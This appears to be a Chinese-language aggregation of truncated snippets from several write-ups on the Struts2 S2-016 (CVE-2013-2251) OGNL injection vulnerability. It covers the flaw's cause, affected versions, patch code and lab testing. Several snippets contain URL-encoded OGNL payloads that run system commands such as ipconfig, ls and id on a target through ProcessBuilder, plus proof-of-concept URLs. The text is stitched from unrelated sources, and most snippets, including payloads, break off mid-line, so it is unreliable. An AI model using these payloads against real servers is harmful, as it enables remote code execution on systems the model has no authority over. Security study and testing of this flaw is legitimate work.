这个实验先做命令执行,然后做反弹shell。Struts2 S2-016漏洞,又名CVE-2013-2251漏洞。在Struts2框架中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,这些导航或者前缀后面可以跟OGNL表达式,但Struts2并没有对这些前缀做过滤,所以可以执行恶意OGNL表达式执行系统命令。
* 当listener中未调用initRepair_S2_016、initRepair_S2_017进行漏洞调用初始化时, * 保持Ognl和DefaultActionMapper修复前源码等价逻辑. * */ class S2_0XX { publicboolean check(String key){ returnfalse; } } class NoMethodAccessorimplements MethodAccessor { public NoMethodAccessor() { } @Override publ...
1.Struts2 s2-016/017漏洞分析 在struts2中, DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀, 但是这些前缀后面同时可以跟OGNL表达式, 由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。 这里以“redirect:”前缀举例, struts2会...
修改后网址: http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%...
漏洞证明: http://host/struts2-blank/example/X.action?action:%25{3*4} http://host/struts2-blank/example/X.action?redirect:%25{3*4} http://host/struts2-blank/example/X.action?redirectAction:%25{3*4} 代码测试: http://host/struts2-blank/example/X.action?action:%25{(new+java.lang....
发现存在Struts2 (s2-016)漏洞,直接使用工具可进行命令执行,直接查看key.txt即可 或者使用payload进行命令执行: http://192.168.34.153/index.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27ls%27%2c%27%2f%27%7d)).start()%2c%23b%3d%23a.getInputStre...
S2-016漏洞整理 引言 最近项目上跟Struts2框架打交道比较多,整理一下比较经典的几个漏洞的测试以及Bypass姿势。首先是S2-016。 PS:升级迁移这个东西真的很费劲。 关于S2-016测试 影响版本 Struts 2.3.15.1之前的所有版本 验证及判断方法 一般可以通过在对应的接口,使用如下Payload触发302重定向来进行判断:...
首先到Struts2的官方文档中找一下S2-016漏洞的文档 官方文档 看文档主要是找到该漏洞的版本,由图可知,该漏洞发生在Struts2.0.0 - Struts2.3.15,并且在Struts 2.3.15.1中得到修复,那么我们就将Struts 2.3.15和Struts 2.3.15.3两个版本的源码下载下载
Struts2 S2-016漏洞,亦即CVE-2013-2251漏洞,允许执行恶意OGNL表达式,从而在Struts2框架中执行系统命令。其原理在于,DefaultActionMapper类支持的导航或重定向前缀(如"action:”,"redirect:”,"redirectAction:”)后可跟OGNL表达式,而Struts2对此类前缀并未进行过滤。为了验证此漏洞,首先准备Docker环境...
发现成功执行了echo has vul,说明存在该漏洞。 既然发现漏洞了,那我们可以构造一个payload,执行id命令。 代码语言:javascript 代码运行次数:0 复制Cloud Studio 代码运行 redirect%3A%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.get...